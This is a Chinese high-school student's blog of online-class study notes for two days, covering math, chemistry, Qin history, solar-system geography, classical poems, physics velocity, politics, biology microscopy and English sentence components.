开放性：

$a>b>0 \Rightarrow \sqrt[n]{a} > \sqrt[n]{b}$

例1：下列说法正确的是：________________________

(1)若$|a|>b，则a^2>b^2$ (2)若$a>b,c>d，则a-c>b-d$ (3)若$a<b<0,c<d<0，则ac>bd$ (4)若$a>b>0,c<0，则{c \over a}>{c \over b}$

例题答案：

(3)、(4)

习题：

习题答案：

例2 比较大小： $$ (1)M=2x^2-1,N=4x-6\ (2)已知-1<x<y<0,试比较{1 \over x},{1 \over y},x^2.y^2的大小\ (3)a=\sqrt{c+1}+\sqrt{c+4},b=\sqrt{c+2}+\sqrt{c+3} $$ 例题答案：

小试牛刀比较大小： $$ (1)\sqrt{6}+\sqrt{7},2\sqrt{2}+\sqrt{5}\ (2)a>b>0,c>d>0,试比较\sqrt{a \over d}与\sqrt{b \over c}的大小 $$ 答案：

化学

复习

制备$Fe(OH)_3$胶体

$FeCl_3+3H_2O==Fe(OH)_3(胶体)+3HCl（条件加热）$

丁达尔效应是胶体特有的性质

【讲解作业，由于作业文档中有详细的解析，这里就没有记笔记】

物质的转化

酸、碱、盐的性质

酸的性质

阳离子全部是**氢离子$(H^+)$**的化合物.

酸的主要化学性质	实例
与活泼金属单质反应	$Fe+2HCl=FeCl_2+H_2\uparrow$
与碱反应	$NaOH+HCl=NaCl+H_2O$
与碱性氧化物反应	$CaO+2HCl=CaCl_2+H_2O$
与某些盐反应	$Na_2CO_3+2HCl=2NaCl+CO_2\uparrow +H_2O$

主要化学性质

与活泼金属单质反应→盐+氢气（置换反应）与碱反应→盐+水（复分解反应）与碱性氧化物反应→盐+水（复分解反应）与某些盐反应→新盐+新酸（复分解反应）与酸碱指示剂反应→显色(遇石蕊溶液显红色)

碱的性质

阴离子全部是**氢氧根离子( OH-）**的化合物

碱的主要化学性质	实例
与酸反应	$NaOH+HCl=NaCl+H_2O$
与酸性氧化物	$2NaOH+CO_2=Na_2CO_3+H_2O$
与某些盐反应	$NaOH+MgCl_2=Mg(OH)_2\downarrow +2NaCl$

主要化学性质

与酸反应→盐+水（复分解反应）与酸性氧化物反应→盐+水（复分解反应）与某些盐反应→新盐+新碱（复分解反应）酸碱指示剂→显色( 紫色石蕊溶液变**蓝，酚酞溶液变红**)

盐的性质

由金属阳离子(或$NH_4$+)和酸根离子构成的化合物

盐的通性	实例
与酸反应	$Na_2CO_3+2HCl=2NaCl+CO_2\uparrow +H_2O$
与碱反应	$Na_2CO_3+Ba(OH)_2=2NaOH+BaCO_3\downarrow$
与盐反应	$Na_2CO_3+CaCl_2=2NaCl+CaCO_3\downarrow$
与金属反应	$Fe+CuSO_4=FeSO_4+Cu$

主要化学性质

与酸反应→新盐+新酸（复分解反应）与碱反应→新盐+新碱（复分解反应）与盐反应→新盐+新盐（复分解反应）与金属反应→新盐+新金属（置换反应）

物质的转化

写出下列物质之间转化的化学方程式

单质到盐的转化关系

物质转化的应用

工业生产中需要考虑安应进行的可能性、原料来源、成本高低和设备要求等因素

历史

秦统一多民族封建国家的建立

建立——秦的统一

秦为何能统一？

客观条件：

长期战乱，人民渴望安定统。
各地域经济的发展，要求打破政治分裂所带来的阻碍。

主观条件：

地理位置优越，物质基础雄厚
历代秦王励精图治，广纳贤才，吏治较为清明
商鞅变法后，国家日益强盛

秦统一的过程

1、灭六国 (1)时间：公元前230年-公元前221， (2)策略：远交近攻、分化瓦解、各个击破 (3)顺序：韩、赵、魏、楚、燕、齐 2、拓疆域 (1)征服南方越族 (2)控制云贵西南夷 (3)北击匈奴，修筑长城

秦朝疆域图

巩固——秦的统治

(一)巩固措施：

政治方面： (1)皇帝制度特点:皇帝独尊、皇位世袭、皇权至上 (2)三公九卿制特点:各司其职、互相牵制、保证皇权。

拓展:朝议制度三公九卿“议”，皇帝最终“决策”

(3)郡县制特点:中央垂直管理地方、巩固国家统一、官僚政治取代贵族政治

郡县制与分封制的异同

概念辨析:专制主义中央集权制度

专制主义(君主专制)：

主要指一种决策方式，指君主独立掌握政权与民主制度相对，体现在帝位终身制和世袭制主要的特征是君主个

中央集权：

是相对于地方分权而言的一种管理方式，其特点是地方政府在政治、经济、军事等方面没有独立性，必须严格服从中央政府的命令，一切受制于中央

其他方面： (1)经济:统一货币、度量衡 (2)文化:统一文字、焚书坑儒 (3)法律:颁行法律，以法为教 (4)交通:统一车轨、修驰道、直道 (5)社会:编制户籍，迁徙六国贵族，整顿社会风俗

有利于经济、文化交流与国家的统一

(二)统一意义: 1、建立起幅员辽阔的国家，奠定此后历代疆域的基本版图。 2、统一中央集权国家的形成为统一的多民族国家的建立、发展奠定了基础。 3、促进了各民族的交往交流与交融，推动了统一多民族国家政治、经济、社会的发展。贵族，整顿社会风俗有利于经济、文化交流与国家的统一

崩溃——秦的速亡

(一)根本原因：秦的暴政

表现 (1)赋役沉重:大兴土木、求仙访药、兴师动众、征发繁重 (2)刑法严苛:人民摇手触禁 (3)思想专制:焚书坑儒
影响阶级矛盾和统治阶级内部矛盾尖锐化，农民起义爆发

(二)过程:

前209年，陈胜、吴广起义中国历史上第一次农民大起义
前207年，刘邦进占咸阳，秦朝灭亡;
前206年一前202年，刘邦、项羽四年楚汉战争

思考:有人说秦始皇是千古一帝，也有人说秦始皇是暴君，谈谈你眼中的秦始皇?

提示:如何评价历史人物

特定的历史背景
确定评估标准
防止以偏概全
要史论结合，不能空下结论
克服英雄史观

地理

作业处理

答案：B

答案：A

三看法判断天体: (1)一看位置:独立存在于地球的大气层之外的物体是天体，进入大气层或落回地面的物体不属于天体，如陨星。 (2)二看实质:是不是宇宙间的物质，自然现象不属于天体，如流星现象。 (3)三看运转:是否在一定的轨道.上独自运转，依附在其他天体上运行的物体不属于天体，如在火星上考察的火星车。

答案：C

答案：B

答案： BA

答案：CCA

答案：水星、火星、木星、西、东

复习

太阳

太阳活动

(1)太阳结构

太阳的大气层结构

(2)太阳活动类型：太阳黑子和耀斑

黑子是光球层上常出现的暗黑斑点
黑子其实并不黑，只不过它比其他区域温度稍低，所以显得暗一些
是太阳活动强弱的标志。
耀斑是色球层上出现局部区域突然增亮的现象。
耀斑能在短时间内释放巨大能量同时抛出大量的高能带电粒子。
是太阳活动最激烈的显示。

耀斑往往与太阳黑子同时出现，并伴有同样的变化周期。

黑子和耀斑的活动都有周期
周期长约11年
黑子活跃的年份和区域耀斑也活跃
黑子和耀斑是太阳活动的标志

太阳风

太阳风是指从太阳上层大气射出的超声速等离子体带电粒子流。发生在日冕层

绘图总结

太阳大气结构及太阳活动示意图

(2)太阳活动对地球的影响 ①扰动电离层，影响无线电短波通信 ②扰动地球磁场，产生“磁暴”现象 ③两极地区形成“极光” ④太阳活动影响天气的变化和气候。

所以在低纬地区看不到极光

据图说明太阳黑子数量与不同地区降水量之间的关系

[探究活动]

读表1-1-1，找出类地行星物理性质的相似性。
读表1-1-1，地球的哪些物理性质有利于地球生命的存在?
课下进一步查阅相关资料，分析火星存在生命的可能性。

普通型

结构特征

与水星、金星、火星有许多相似之处

运动特征

同向性:绕日公转的方向都是自西向东近圆性:绕日公转的轨道近似圆形共面性:轨道面几乎在同一平面上
特殊性(目前人类发现太阳系中唯一存在生命的天体)

外部条件

安全的宇宙环境稳定的光照条件

自身条件

①日地距离适中

表面温度适宜

存在液态水

②地球的自转和公转周期适中

地表温度的日变化和季节变化幅度都不太大

存在液态水

③地球的体积和质量适中

其引力形成包围地球的适合生物呼吸的大气层

存在生命的必要条件

地球存在生命的必要条件

[思考]包围地球外围的大气层，其存在的意义有哪些?

①避免了地球上的生物遭受过多紫外线的伤害; ②减少了小天体对地球表面的撞击; ③使地表昼夜温差不至于过大，有利于生命活动。

小结

地球在太阳系中的位置，具备生命物质的条件是重点

<h1 style="font-size:20px">【今日网课结束】</h1>

学习笔记丨网课第五天

Wed, 07 Sep 2022 00:00:00 GMT

开学第五课

语文

听写部分

【略】

归园田居

从何而归

误落尘网中，一去三十年。久在樊笼里，复得返自然。

尘网、樊笼：比喻庸俗污浊的官场。表达自己对官场生活的厌恶，“ 误落尘网中，一去三十年”，沉痛悔恨误入仕途的生活。

(1)少无适俗韵，性本爱丘山。(本性)

热爱田园生活，厌恶官场

既然“性本爱丘山，为何还要出仕? “误落尘网中”，入仕做官，非本性使然，而是一次失误。

“性本爱丘山”也许是陶渊明“归园田”的重要原因之一一，那么，它是不是根本原因呢?请在诗中继续寻找答案。

(2)羁鸟恋旧林，池鱼思故渊。

“羁鸟”:笼中的鸟;“池鱼”:池塘中的鱼。
特点:_失去自由，失去最适合它们的生活环境。暗示诗人在官场中如同“羁鸟”、“池一鱼”一样失去自由。
说明作者身在宦海，而心系田园的心情，对自由的向往。

(3)开荒南野际，守拙归园田。

归园田的目的是什么?如何理解“守拙”，言外之意是什么?(不归园田就无法守拙?) 守拙:持守愚拙(正直善良)本性，摆脱尘世束缚。 东晋末年权力之争剧烈，官员皆是尔虞我诈勾心斗角，没有这种本领就无法得意于仕途。所以，正直良善之辈就会感到压抑束缚，为了守住自己的本心，归园田是他最好的归宿。 所以，“归园田”是为了保持精神上的自由和人格的独立。

归向何处

归向田园

诗人描写到了哪些田园景色?是如何描绘的?这些田园景色有什么特点?

方宅十余亩，草屋八九间。

远景：幽雅美丽

恬然自得怡然自乐

榆柳荫后檐，桃李罗堂前。

远景：幽雅美丽

恬然自得怡然自乐

暧暧远人村，依依墟里烟。

远景：幽雅美丽

安静、舒缓、柔和

狗吠深巷中，鸡鸣桑树颠。

动景：以动衬静

宁静、和平

诗人描写到了哪些田园景色?是如何描绘的?这些田园景色有什么特点?

白描：

为什么看起来普通常见的乡村风光，在陶渊明的眼中显得那么美好?

诗人热爱农村生活、田园风光，尤其是在对官场生活有了深刻的反感，彻底逃离它之后，对于田园生活更增添了感情。从诗歌的描写中，我们可以感觉到诗人内心的闲适、自在、喜悦。

归后如何

户庭无尘杂，虚室有余闲。久在樊笼里，复得返自然。

安逸、悠闲、自在、愉悦、欣喜

从中我们可见诗人的人格倾向和精神追求是怎样的?

厌恶官场、热爱田园、追求精神上的自由和独立

拓展延伸

同学们，如果你能穿越到陶渊明所处的时代，面对相同的处境，你会选择“归隐”还是“做官”?

背景链接：

小结

内容：

对误入官场的痛心悔恨
对黑暗官场的鄙弃厌恶
对田园生活的由衷喜爱
对回归田园的欣喜愉悦

——返璞归真

情感：对官场的厌恶;对田园生活的向往。手法：比喻、白描、情景交融。

梦游天姥吟留别

公非人世之人，可不是太白星精耶。 ——贺知章绣口一吐，就是半个盛唐 ——余光中如果能重来，我要选李白。 ——李荣浩

诗人简介

写作背景

初读感知

读准字音

行文思路围绕着一个“梦”字，全诗按何顺序进行?各运用了什么表达方式?

(1). 梦游之由。[叙述] (2). 梦游之景。[描写] (3). 梦醒之感。[议论、抒情]

分析诗句

梦游之由

海客谈瀛洲，烟涛微范信难求;

航海的人谈起瀛洲，(大海)烟波渺茫，(瀛洲)实在难以找到。

越人语天姥，云霞明灭或可睹。

越中来人说起天姥山，在云雾忽明忽暗间有人可以看见。

天姥连天向天横，势拔五岳掩赤城。

天姥山仿佛连接着天遮敲了天空。出势高过五岳，遮掩了赤城山。

天台四万八千丈，对此欲倒东南倾。

天台山虽高四万八千艾，对着天姥这座山，(天台山)就好像要拜倒在它的东南面一样。

李白是怎样写出天姥山的特点?此处为什么写到瀛洲?

通过对比、夸张手法写出天姥山的高大雄伟。这是以瀛洲来衬托天姥山，瀛洲是海上的仙山，虚无缥缈，神奇莫测;天姥是地上的高山，实实在在，可以前往探访，使人油然而产生神游天姥之念，为下文入梦作了铺垫。

除了瀛洲外，此段中还提到了哪些山?有何作用? 还提到了五岳、赤城和天台，将它们与天姥山相比，衬托出天姥山的高大巍峨，进一步勾起了作者神游天姥的强烈愿望。

天下的名山大川很多，天姥甚至还没天台山有名。诗人为什么独钟情于天姥?

在诗人心中，天姥山高耸入云，势拔五岳，在夸张与想象中带入浓烈的个人情感。天姥山被诗人理想化、人格化，已不是实际意义上的山，而是作者的艺术创造，是一座精神大山，是一种人格象征，是诗人追求的理想境界。

梦游之景

我欲因之梦吴越，一夜飞度镜湖月。

我依据越人说的话梦游到吴越，一天夜晚飞渡过明月映照下的镜湖。

湖月照我影，送我至剡溪。

镜湖上的月光照着我的影子，一直伴随我到了剡溪。

谢公宿处今尚在，渌水荡漾清猿啼。

谢灵运住的地方如今还在，清澈的湖水荡漾，猿猴凄清啼叫。

脚著谢公屐，身登青云梯。

我脚上穿着谢公当年特制的木鞋，攀登直上云霄的山路。

半壁见海日，空中闻天鸡。

上到半山腰就看见了从海上升起的太阳，在半空中传来天鸡报晓的叫声。

千岩万转路不定，迷花倚石忽已暝。

无数山岩重叠，道路盘旋弯曲，方向不定，迷恋着花，依倚着石头，不觉天色很快就暗了下来。

熊咆龙吟殷岩泉，栗深林兮惊层巅。

熊在怒吼，龙在长鸣，声音震荡着岩石和泉水，使森林战栗，使山峰惊颤。

云青青兮欲雨，水澹澹兮生烟。

云层黑沉沉的，像是要下雨，水波动荡生起了烟雾。

列缺霹雳，丘峦崩摧。洞天石扉，訇然中开。

电光闪闪，雷声轰鸣;山峰好像要被崩塌似的。仙府的石门，訇的一声从中间打开。

数学

分式的综合运算

$$ (1)若{5x+4\over x(x+2)}={A\over x}-{B \over x+2} $$

$$ (2)证明{1\over n(n+1)}={1\over n}-{1 \over n+1} $$

$$ (3)当x变化时，分式{3x^2+9x+{28\over 3}\over {1\over 3}+x+1}的最大值 $$

答案：

小试牛刀 $$ (1)当x\geq1时，求{2x+5\over x+1}的最大值 $$

$$ (2)计算{1\over 1\times 2}+{1\over 2\times 3}\cdots+{1\over 99\times 100} $$

答案：

根式及其运算性质

二次根式：

定义：

式子$\sqrt{a}(a≥0)$称为二次根式，若x2 =a,则称x为a的二次方根,记为 $x=+\sqrt{a}$

性质：

$$ (\sqrt{a})^2 = a(a\geq0)\ \sqrt{a}=\vert{a}\vert=\begin{cases} a ,a\geq0\ -a ,a<0 \end{cases}\ \sqrt{a}\sqrt{b}=\sqrt{ab}，{\sqrt{b}\over\sqrt{a}}=\sqrt{b\over a} $$ 例题： $$ (1)\sqrt{a^3b}(a\leqslant0) $$

$$ (2)\sqrt{8x^6y}(x\leqslant0) $$

$$ (3)\sqrt{x^2-2x+1}-\sqrt{x^2+6x-9}(-3<x\leqslant1) $$

例题答案：

分母（分子）有理化

分母和分母都乘以分母(分子)的有理化因式,化去分母(分子)中的根号。
比如：$a\sqrt{x}+b\sqrt{y}$与a\sqrt{x}-b\sprt{y}$,$a\sqrt{x}+b$与$a\sqrt{x}-b$互为有理化因式

例题： $$ (1)化简{1\over \sqrt{2}+1 }+{1\over \sqrt{3}+\sqrt{2}}+{1\over \sqrt{4}+\sqrt{3}} $$

$$ (2)比较大小\sqrt{13}-\sqrt{12}，\sqrt{12}-\sqrt{11} $$

例题答案：

习题： $$ (1)比较3-\sqrt{7}与{2\over \sqrt{6}+4}的大小 $$

$$ (2)计算：{1\over\sqrt{2}+1}+{1\over\sqrt{3}+\sqrt{2}}+\cdots+{1\over\sqrt{100}+\sqrt{99}} $$

习题答案：

n次方根

定义:

若$x^n=a$,则称x为a的n次方根，记为$x=\sqrt[n]{a}$

n次根式的性质：

正数的奇次方根是一个正数，负数的奇次方是一个负数
正数的偶次方根有两个，它们互为相反数，记为$x=\pm \sqrt[n]{a}$,
负数没有偶次方根

$$ (\sqrt[n]{a})^n=a\ 当n为奇数时，\sqrt[n]{a^n}=a\ 当n为偶数时，\sqrt[n]{a^n}=\begin{cases} a ,a\geq0\ -a ,a<0 \end{cases}\ $$ 例题： $$ (1)计算\sqrt[3]{-{8 \over 125}} $$

$$ (2)2021<m<2022，则(\sqrt[3]{m-2021})^3+\sqrt[4]{(m-2022)^4} $$

例题答案：

$$ 思考：当x<π时，\sqrt[n]{(x-π)^n}=？ $$

数与式单元复习提纲

本单元我们学习到了那些知识?细细体会知识之间的内在联系大
本章涉及到哪些数学思想方法?
你有哪些进步?还有什么地方需要提升

物理

上节课的习题处理

1.下列那些书法是时间间隔？哪些说法是时刻？ (1)列车员说:“火车8时42分到站，停车8分。”（时刻时间间隔） (2)“您这么早就来啦，抱歉!让您等了这么久。’（时刻时间间隔） (3)“前3s"“最后3s"“第3s末”“第3s内”。（时间间隔时间间隔时刻时间间隔）

2.某市出租汽车的收费标准有1.20 元/km、1.60元/km、2.00 元/km，其中的千米说的是路程还是位移? 路程

3.田径运动场跑道周长是400m。 (1)百米赛跑选用跑道的直道部分，运动员跑完全程的路程是多少?位移大小是多少?

400m 0m

(2) 800 m跑比賽中，不同跑道的运动员跑完全程的路程相同吗?跑完全程的位移相同吗?请结合田径比賽的规则想一想。

相同相同

4.如图1.2-10, 一个物体从P点运动到Q点，坐标x为3m, xg为一2m，它的位移大小是多少?,方向如何?请你画出它的位置坐标和位移矢量。

【略】

5.一辆汽车在教练场上沿平直道路行驶，以x表示它相对于出发点的位移。图1.2-11近似描写了汽车在0时刻到40 s这段时间的x-t图像。通过分析回答以下问题。 (1)汽车最远位置距离出发点约为多少米? (2)汽车在哪段时间没有行驶? (3)汽车在哪段时间驶离出发点，在哪段时间驶向出发点?

(1)30m (2)10s-20s (3)0s-10s 20s-40s

上次的参考答案错惹www

位置变化快慢的描述一速度

赛车在比赛中的不同时段，运动的快慢一样吗

如何比较物体运动快慢？

速度

定义：

位移与发生这个位移所用时间的比值
物理意义：表示物体运动快慢(位置变化快慢)和方向的物理量
定义式：$v={△x\over △t}$
单位$m/s或m*s^-1$、km/h、cm/s，1m/s=3.6km/h
矢量性：

大小:单位时间内的位移大小方向:与时间△t 内的位移△x的方向相同

含义： ①.表示物体运动快慢(位置变化快慢)和方向的物理量 ②.单位时间内的位移 ③.位移随时间的变化率大

平均速度

定义：

位移与发生这个位移所用时间的比值，叫做物体在这段时间(或这段位移)内的平均速度
公式：$v={△x\over △t}$
意义：粗略地描述物体在某段时间内的平均快慢程度。
方向：与某段时间内位移的方向一致。
注意：计算物体的平均速度时必须指明物体是在哪段时间内或哪段位移上的平均速度。

矢量：既有大小，又有方向

瞬时速度

如何精确描述物体在某个时刻或位置的运动快慢?

定义：

物体在某一时刻或经过某一位置的速度。
意义:精确地描述了物体运动的快慢和方向。.
方向:为该时刻物体运动方向。

$$ v={△x\over △t}(△t\to0) $$

在匀速直线运动中，平均速度等于瞬时速度。

速率

瞬时速度的大小通常叫作速率(speed)。

日常生活中说到的“速度”，时是指速率，要根据上下文判断。

平均速率

定义：

路程与发生这段路程所用时间的比值。
公式：$v={△s\over △t}$
平均速度与平均速率的区别：
1. 平均速度是矢量，平均速率是标量;
2. 平均速度的大小不是平均速率;
3. 平均速度的大小小于等于平均速率；当物体做单向直线运动时，平均速度大小等于平均速率。

政治

为什么说马克思主义是对的

空想社会主义为什么只能是“空想”

探究问题:漫画讽刺了怎样的社会现状?

资本主义剥削下的残酷现实!

残酷现实之下,一些有识之士开始畅想未来理想社会...

议学问题：请从三个阶段代表人物思想的表达采取的方式中尝试总结三个时期空想社会主义呈现的特点及发展趋势。为什么他们的美好设想和努力都以失败告终，只能是“空想”

1.空想的社会主义的产生

背景：

伴随着资本主义形成和发展过程中日益显现的激烈矛盾,社会主义思想得以产生和发展。
形成：在资本主义到来之时，一些先进分子对资本主义进行揭露和批判,同时表达对未来理想社会的诉求，从而形成空想社会主义。
地位：空想社会主义是科学社会主义的思想来源

空想社会主义发展阶段

失败原因

①根本原因:设想的生产关系与当时的生产力发展状况不匹配; ②空想社会主义者仅从理性、正义等原则出发,揭露资本主义的弊;端,设计未来社会的美好蓝图 ③主张阶级调和反对阶级斗争，看不到广大人民群众特别是无产i阶级的力量,没有找到消灭资本主义社会和建立新社会的强大力量,也没有找到进行社会变革的正确途径。
意义

成为科学社会主义的思想来源，揭露批判了资本主义，表达了对未来理想社会的诉求

2.资本主义发展和工人运动兴起

工人运动兴起以三大工人运动的发生为标志，工人阶级开始作为独立的政治力量登上历史舞台，开始联合起来反抗资产阶级的统治，将斗争的矛头指向整个资产阶级和资本主义制度。
地位：资本主义的发展和工人运动的兴起,是科学社会主义产生的历史前提

科学社会主义为什么是科学的?

3.科学社会主义的理论基石

唯物史观

创立:马克思、恩格斯通过研究社会历史,批判地吸收了德国古典哲学的合理成分，彻底摆脱了唯心主义思想的影响,创立了唯物史观。

意义:唯物史观揭示了人类社会发展的一般规律,揭示了人民群众的历史主体作用，揭示了阶级斗争在阶级社会发展中的巨大作用,把人们对美好社会的追求建立在科学认识社会发展规律的基础上。(三揭示建立)
剩余价值学说创立:马克思、恩格斯通过剖析资本主义社会,批判继承了英国古典政治经济学的思想成果，创立了剩余价值学说。意义:剩余价值学说从经济学角度揭示了剩余价值的来源,揭示了资本家剥削工人、占有工人剩余劳动的秘密,揭示了无产阶级与资产阶级利益的根本对立,找到了变革资本主义社会的坚定力量，为无产阶级的斗争指明了方向。( 三揭示一找到)
历史进步性: 唯物史观和剩余价值学说揭示了人类社会发展的一般规律,揭示了资本主义运行的特殊规律，为科学社会主义的创立奠定了理论基石，使社会主义实现了由空想到科学的伟大飞跃。

4.科学社会主义诞生

诞生的标志

《共产党宣言》——科学社会主义延生的标志
《共产党宣言》的主要内容 ①《共产党宣言》分析了资本主义生产方式的内在矛盾与人类社会的发展规律,科学论证了资本主义必然灭亡和社会主义必然胜利的历史必然性。(两个必然) ②《共产党宣言》总结了工人运动的经验和教训，第一次系统论述了无产阶级政党的性质、特点、任务和策略原则，阐明了建立无产阶级政党的必要性。(一个政党) ③《共产党宣言》阐述了未来共产主义社会的理想目标(一个目标)
马克思主义及其鲜明特点; 《共产党宣言》发表,标志着马克思主义的诞生 ①马克思主义是科学的理论，创造性地揭示了人类社会发展规律。(有理) ②马克思主义是人民的理论，第一次创立了人民实现自身解放的思想体系。(有人) ③马克思主义是实践的理论，指弓|着人民改造世界的行动。(有路) ④马克思主义是不断发展的开放的理论始始终站在时代前沿。(有未来)

[知识拓展]全面理解马克思主义

知识整合

实践是怎样证明科学社会主义的理论是科学的?

5.法国巴黎公社人工运动

原因：巴黎公社一一第一次无产阶级政权的伟大尝试**(理论到实践的尝试)** 意义：工人的巴黎及其公社将永远作为新社会的光辉先驱而为人所称颂。

6.俄国十月革命

爆发：1917年10月,在以列宁为代表的俄国布尔什维克党的领导下,俄国无产阶级通过革命斗争,推翻了资产阶级的统治，建立了无产阶级政权，确立了社会主义生产关系。
意义:十月革命建立了世界上第一个社会主义国家，将马克思主义关于无产阶级革命的理论变为现实,实现了科学社会主义从理论到现实的历史性飞跃，开启了人类历史的新纪元。
社会主义生产关系特点 ①劳动者共同占有生产资料; (生产资料归谁所有) ②消灭了人剥削人的制度，人们在生产过程中建立起互助合作的关系; (人与人之间的关系) ③个人消费品实行按劳分配。( 产品如何分配)

7.社会主义大发展（多国实践）

第二次世界大战后，社会主义在世界范围内获得大发展，实现了从一国实践到多国实践的历史性飞跃。

注意:三个历史性飞跃、两个标志

三大工人运动标志工人阶级开始作为独立的政治力量登上历史舞台。
唯物史观和剩余价值学说(两大发现)，为科学社会主义奠定了理论基石，使社会主义实现了由空想到科学的伟大飞跃
1848年2月，《共产党宣言的发表》标志科学社会主义诞生。
十月革命建立了世界上第一个社会主义国家，将马克思主义关于无产阶级革命的理论变为现实，实现了科学社会主义从理论到现实的历史性飞跃
第二次世界大战后，社会主义在世界范围内获得大发展，实现了从一国实践到多国实践的历史性飞跃。

8.人类社会发展的进程和趋势

道路曲折: 20世纪80年代末90年代初，东欧剧变、苏联解体,世界社会主义运动的发展出现严重曲折。
前途光明: (1)从人类社会发展的进程看，社会主义终将代替资本主义是不可逆转的; (2)从人类社会发展的趋势看，共产主义一定要实现的信念是不可动摇的。
真理之光 中国特色社会主义是科学社会主义在中国的实践与发展。 中国道路彰显科学社会主义的真理之光，中国特色社会主义的伟大实践彰显了科学社会主义强大的生命力

能力提升:中国是如何应用科学社会主义的? 中国坚持了中国共产党的领导，并找到了一条正确道路——中国特色社会主义,中国特色社会主义既坚持了科学社会主义的基本原则**,又根据中国国情和时代特点,赋予其鲜明的**中国特色，习近平中国特色社会主义思想让科学社会主义在21世纪的中国焕发出强大的生命力

知识整合

本课小结

生物

第2节细胞的多样性和统一性

1.图中共有几种细胞?它们的名称分别是什么?有哪些共同的结构?

2.请举一两个例子，说说不同种类细胞的形态结构不同的原因。细胞具有不同的形态结构是因为生物体内的细胞所处的位置不同，功能不同，是细胞分化的结果。如红细胞呈两面凹的圆饼状，有利于与氧充分接触，起到运输氧的作用；洋葱表皮细胞呈长方体形状，排列紧密，有利于起到保护作用。

使用高倍镜观察细胞

显微镜的结构

目镜

放大物像的作用
镜头上标有放大倍数
无螺纹
目镜越短,放大倍数越高

物镜

放大作用
镜头上标有放大倍数
物镜分为低倍镜、高倍镜、油镜三种。
有螺纹
物镜越长,放大倍数越大。离载玻片距离越

遮光器(光圈)

调节通光量，调节亮度
常与反光镜配合使用;
当视野较暗时，换大光圈，或者换凹面镜
当视野较亮时，换小光圈，或换平面镜。
当观察的物像颜色较浅时，应该亮度调暗。

调节器

分为粗准焦螺旋和细准焦螺旋
调节焦距;使物像更清晰
当换成高倍物镜之后,只能使用细准焦螺旋

显微镜的使用步骤

取镜和安放、对光、观察、收放

高倍显微镜操作“四步曲”

高倍镜和低倍镜的比较

放大倍数

放大倍数=目镜放大倍数x物镜放大倍数 显微镜的放大倍数是:指物像在长度或宽度上放大相应倍数。

显微镜视野内细胞数目变化规律

显微镜成像情况

思考:在显微镜视野中看到"d" 那实质上是什么?

—— P

显微镜形成的是倒立、放大、虚像 做题小技巧：即把纸张旋转180°直接观察

思考:若想将下列视野中的b移至视野中央,该如何移动?

判断污物存在的位置

思考:观察细胞的时候,若发现视野中有异物,将如何排除? 提示:污物可能存在的位置——物镜、目镜、装片。

判断正误

(1)显微镜目镜和物镜放大倍数的乘积是指对面积的放大倍数( X ) (2)在低倍镜视野的右下方观察到物像后，可直接换用高倍镜观察( X ) (3)由低倍镜换高倍镜时，需先上升镜筒，以免物镜与装片挤压损坏( X ) (4)换用高倍物镜后，应先调节粗准焦螺旋再调节细准焦螺旋，直到物像清晰( X )

使用高倍显微镜观察几种细胞

原核细胞和真核细胞

本质区别：有无以核膜为界限的细胞核

电子显微镜

电子显微镜，简称电镜，经过五十多年的发展已成为现代科学技术中不可缺少的重要工具。光学显微镜的分辨率为0.2um，透射电子显微镜的分辨率为0.2nm，也就是说透射电子显微镜在光学显微镜的基础.上放大了1000倍。

光学显微镜：显微结构电子显微镜：亚显微结构

大肠杆菌与我们所观察到的细胞的主要区别是?

大肠杆菌没有明显的细胞核，没有核膜，细胞外有鞭毛等等。

原核细胞

含义：无以核膜为界限的细胞核的细胞。但有类似细胞核的一个区域,存在一个大型环状DNA ,叫拟核。以原核细胞构成的生物,叫原核生物。
生物类群主要是分布广泛的各种细菌,如蓝细菌、放线菌、支原体、衣原体、立克次氏体(“蓝细线织毛衣”)

细菌

小技巧：凡是“菌”的前面有“杆”、“球”、“弧”、“螺旋”都是细菌

蓝细菌种类(旧称蓝藻)

原核生物的特征(蓝细菌为例)

细菌中多数种类是营腐生或寄生生活的异养生物

知识扩展——水华和赤潮

水华:水华是指淡水水体富营养化而引|起其中的蓝细菌和绿藻等大量增殖的一种现象。其主要成因是水体中氮、磷等营养物质含量过高。赤潮:赤潮是指海水富营养化而导致其中浮游生物爆发性繁殖造成海水颜色异常的一种现象。

真核细胞

有以核膜为界限的细胞核的细胞由真核细胞构成的生物叫做真核生物。

原核细胞和真核细胞的差异

课堂小结

<h1 style="font-size:20px">【今日网课结束】</h1>

学习笔记丨网课第四天

Tue, 06 Sep 2022 00:00:00 GMT

开学第四课

英语

句子成分

同位语

在一个n.或pron.后面，对前面的性质或情况作进一步说明，这样的此或结构叫做同位语。

结构：n./pron.+同位语

状语

修饰v.,adj.,adv.或全句的成分是状语。
他表示行为发生的时间，地点，目的，方式，程度。
修饰adj.的状语常放adj.之前，修饰v.的状语常放v.之后。但有些表频率的adv.(如often, always, usually等)作状语时，则放行为动词之前。

Light travels most quickly. (副词及副词性词组)
He has lived in the city for ten years. (介词短语)
He is proud to have passed the national college entrance examination. (不定式短语)
He is in the room making a model plane. (分词短语)
Wait a minute. (名词)
Luckily, he passed the driving test.(副词)
Once you begin, you must continue. (状语从句)

状语种类如下：

How about meeting again at six? (时间状语)
Last night she didn't go to the party because of the rain.(原因状语
I shall go there if it doesn't rain. (条件状语)
Mr. Smith lives on the third floor. ( 地点状语)
She put the eggs into the basket with great care. (方式状语)
She came in with a dictionary in her hand. (伴随状语)
In order to catch up with the others, I must work harder.(目的状语)
He was so tired that he fell asleep immediately. ( 结果状语)

She works very hard though she is old. (让步状语)
I am taller than he is. (比较状语)

习题

找出下列句子的状语：

He knows how to teach English properly.
My parents often tell us about their life in the past.
We have been best friends since primary school.
He will leave for Shanghai the day after tomorrow.
He came here to see his parents.
Seen from the top of the hill, the city looks beautiful.
He heard some noises when he was reading.

句子成分综合联系

指出下列句子划线部分是什么句子成分

The students got on the school bus. 主语定语
He handed me the newspaper. 宾语
I shall answer your question after class. 谓语状语
What a beautiful Chinese painting! 定语
They went hunting together carly in the morming. 状语
His job is to train swimmers. 定语表语
He took many photos of the palaces in Beijing. 宾语状语
There is going to be an American fim tonight. 谓语主语
He is to leave for Shanghai tomorrow. 谓语
His wish is to become a scientist. 主语表语
He asked me to help him yesterday. 宾补
Tom came to ask me for advice. 状语
He found it important to master English. 形式宾语真正宾语
Do you have anything else to say? 宾语定语
To be honest, your pronunciation is not so good. 状语
Would you please tell me your address? 宾语（间接宾语+直接宾语）
He sat there, reading a newspaper. 状语状语
It is our duty to keep our classroom clean and tidy. 形式主语表语宾补
He noticed a man enter the room. 宾补
The apples tasted sweet. 表语

衔接教材习题处理（作业处理）

Passage 1

part 1

